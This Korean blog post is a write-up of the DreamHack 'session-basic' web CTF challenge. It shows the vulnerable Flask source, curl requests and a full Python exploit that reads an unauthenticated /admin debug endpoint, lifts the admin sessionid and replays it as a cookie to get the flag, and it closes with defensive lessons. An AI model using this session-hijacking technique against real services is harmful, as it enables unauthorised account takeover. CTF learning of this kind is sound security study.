ZINO
HomeResearchBlogTagsPlaygroundStack

레드팀 · AI 자동화 · 시스템 엔지니어링

직접 만들고, 실험하고, 기록한다

개인정보처리방침·이용약관

© 2026 ZINO LAB

디버그 엔드포인트가 세션 전체를 토해낸다 — DreamHack session-basic 풀이

2026-05-23·1분 읽기·

디버그 엔드포인트가 세션 전체를 토해낸다 — DreamHack session-basic 풀이

Flask 세션 인증 서비스에서 개발자가 "나중에 고칠게" 주석으로 남겨둔 /admin 엔드포인트가 session_storage 딕셔너리 전체를 JSON으로 반환한다. 서버 부팅 시 미리 생성된 admin sessionid를 그대로 가져와 쿠키에 박으면 끝.

#dreamhack#ctf#web#session#flask#cookie#writeup

문제: DreamHack — session-basic 분류: Web 난이도: ⭐⭐⭐⭐ Level 4 FLAG: DH{8f3d86d1134c26fedf7c4c3ecd563aae3da98d5c}


문제 개요

항목내용
문제명session-basic
난이도⭐⭐⭐⭐ Level 4
분류Web (Session / Authentication)
제공 파일app.py (Flask)
서버http://host8.dreamhack.games:8412/
핵심 취약점/admin 디버그 엔드포인트가 session_storage 전체를 JSON으로 반환

쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스. admin 계정의 비밀번호가 FLAG이기 때문에 직접 로그인은 불가능하지만, 서버 부팅 시 admin 세션이 미리 생성돼 session_storage에 들어간다. 문제 풀이의 핵심은 그 sessionid를 어떻게 빼내느냐다.


🔬 분석

Step 1 — 메인 페이지 및 로그인 폼 확인

배포 서버에 접속하면 단순한 인덱스 페이지와 로그인 폼이 보인다.

메인 페이지
메인 페이지

로그인 폼
로그인 폼

guest:guest로 우선 정상 동작을 확인해보면, 세션이 발급되고 Hello guest, you are not admin 메시지가 출력된다.

guest 로그인 결과
guest 로그인 결과

Step 2 — 소스코드 핵심 부분

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG          # admin의 비밀번호 = 플래그 본문
}
 
session_storage = {}
 
@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')
    return render_template('index.html',
        text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

/ 에서는 쿠키의 sessionid를 키로 session_storage를 조회해 username을 가져오고, admin이면 플래그를 출력한다. 평범한 세션 인증 로직.

문제는 admin의 password가 곧 FLAG라는 점. brute force도 사실상 불가능. 그런데 서버 부팅부에 흥미로운 코드가 있다.

if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

서버가 시작될 때 admin 세션이 자동으로 만들어지고, 256비트 랜덤 sessionid가 session_storage에 박혀 있다. brute force는 불가능 — "haha"라는 주석이 그걸 비웃고 있다.

Step 3 — 진짜 취약 지점: /admin 엔드포인트

@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)
 
    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')
 
    return session_storage

개발자의 TODO 주석이 자랑스럽게 박혀 있다. 권한 검사 코드가 통째로 주석 처리돼 있고, 그 아래에서 session_storage 딕셔너리를 그대로 반환한다. Flask는 dict 반환 시 자동으로 JSON으로 직렬화해서 응답한다.

즉, /admin 에 GET 한 방이면 admin sessionid를 포함한 전체 세션 테이블이 평문으로 노출된다.


💣 핵심 취약점

미사용/주석 처리된 디버그 엔드포인트 노출 (Information Disclosure)

  • 개발 중에는 디버깅용으로 모든 세션 상태를 출력하는 게 편하지만, 운영 빌드까지 그대로 살아남으면 곧 인증 우회 수단이 된다.
  • sessionid는 충분히 랜덤(256비트)해도, 저장소 자체가 노출되면 엔트로피는 의미가 없다.
  • 한 줄짜리 권한 검사를 깜빡한 결과, brute force가 불가능했던 admin 세션이 통째로 새어 나간다.

🎯 풀이

순서는 매우 단순하다.

  1. GET /admin → session_storage JSON에서 value가 "admin"인 key 추출
  2. 그 key를 sessionid 쿠키로 세팅
  3. GET / → admin으로 인식되며 플래그 본문 출력

Step 1 — admin sessionid 탈취

curl -s http://host8.dreamhack.games:8412/admin

응답:

{"a4d41ea66c223587365ba7490b07ee690a79ff8f20d26ba68f4c263a6e25515a":"admin"}

깔끔하게 admin sessionid가 노출된다.

/admin 엔드포인트의 세션 누출
/admin 엔드포인트의 세션 누출

Step 2 — sessionid를 쿠키로 박고 / 호출

curl -s -b "sessionid=a4d41ea66c223587365ba7490b07ee690a79ff8f20d26ba68f4c263a6e25515a" \
     http://host8.dreamhack.games:8412/

응답 HTML 안에 Hello admin, flag is DH{...} 가 박혀 있다.

admin 쿠키로 플래그 획득
admin 쿠키로 플래그 획득


🚀 Full Exploit

import requests, re
 
BASE = "http://host8.dreamhack.games:8412"
 
# 1. /admin endpoint leaks the entire session_storage
leaked = requests.get(f"{BASE}/admin").json()
admin_sid = next(sid for sid, user in leaked.items() if user == "admin")
print(f"[+] admin sessionid: {admin_sid}")
 
# 2. Use the stolen sessionid as cookie
r = requests.get(f"{BASE}/", cookies={"sessionid": admin_sid})
flag = re.search(r"DH\{[^}]+\}", r.text).group(0)
print(f"[+] FLAG: {flag}")

실행 결과:

[+] admin sessionid: a4d41ea66c223587365ba7490b07ee690a79ff8f20d26ba68f4c263a6e25515a
[+] FLAG: DH{8f3d86d1134c26fedf7c4c3ecd563aae3da98d5c}

📝 결론

디버그 엔드포인트는 운영 빌드에 절대 남기지 말 것 — 가장 흔하면서도 가장 치명적인 정보 노출 패턴이다. TODO 주석은 잊혀지고, 권한 체크는 영원히 commented-out 상태로 살아남는다. 코드 리뷰에서 "주석 처리된 인증 로직"이 보이면 그 PR은 반려 대상이다.

저장소 노출은 엔트로피를 무력화한다 — os.urandom(32)로 256비트 sessionid를 발급해도, 그 저장소 자체를 통째로 보여주는 엔드포인트가 있으면 brute force 난이도는 0이 된다. "추측 불가"는 추측이 시도조차 필요 없을 때 의미가 있다.

Flask return dict 의 자동 JSON 직렬화 함정 — 디버깅 중 무심코 return some_dict 라고 쓰면 Flask가 친절하게 JSON으로 만들어 응답한다. 편리하지만, 그 dict가 민감 정보면 그대로 외부에 노출된다는 뜻이기도 하다.

ShareX

이 글이 도움이 됐나요?

Related

관련 글

3개
SQLi + SSRF 더블 슬래시 필터 우회 — DreamHack admin only 풀이
blog

SQLi + SSRF 더블 슬래시 필터 우회 — DreamHack admin only 풀이

SQLite UNION 인젝션으로 admin 비밀번호를 탈취·로그인하고, /profile의 SSRF를 통해 //getflag (더블 슬래시) 경로 우회로 /getflag 필터를 bypass해 FLAG를 획득하는 풀이.
#dreamhack#ctf#web+6
2026-04-30Blog
TAB 하나로 필터 열 개를 뚫다 — DreamHack XSS Filtering Bypass Advanced 풀이
blog

TAB 하나로 필터 열 개를 뚫다 — DreamHack XSS Filtering Bypass Advanced 풀이

script, javascript, document, location, (, )까지 10개 이상의 키워드를 차단하는 XSS 필터. 그런데 javas\tcript처럼 TAB 문자(\t)를 키워드 중간에 끼우면 필터는 통과하고 브라우저는 그대로 실행한다. WHATWG URL 스펙이 정의한 정규화 동작과 Python 문자열 필터 사이의 갭을 파고들어 쿠키를 탈취하고 FLAG를 획득하는 과정을 단계별로 정리한다.
#dreamhack#ctf#web+4
2026-04-01Blog
한 번 막히고 나서야 보였던 체인: DreamHack EZ-Anti-LLM Pingback SSRF 풀이
blog

한 번 막히고 나서야 보였던 체인: DreamHack EZ-Anti-LLM Pingback SSRF 풀이

WordPress 6.9.1 Pingback Blind SSRF를 이용해 2-Hop 체인으로 내부 Flag 서버의 값을 외부로 끌어낸 DreamHack Level 5 문제 풀이. 삽질 포인트부터 최종 익스플로잇 흐름까지 차근차근 정리했다.
#dreamhack#ctf#ssrf+5
2026-03-31Blog

Previous

OKLCH 색 공간을 3D로 뜯어보기 — three.js 색역 뷰어 제작기

2026-05-22

Back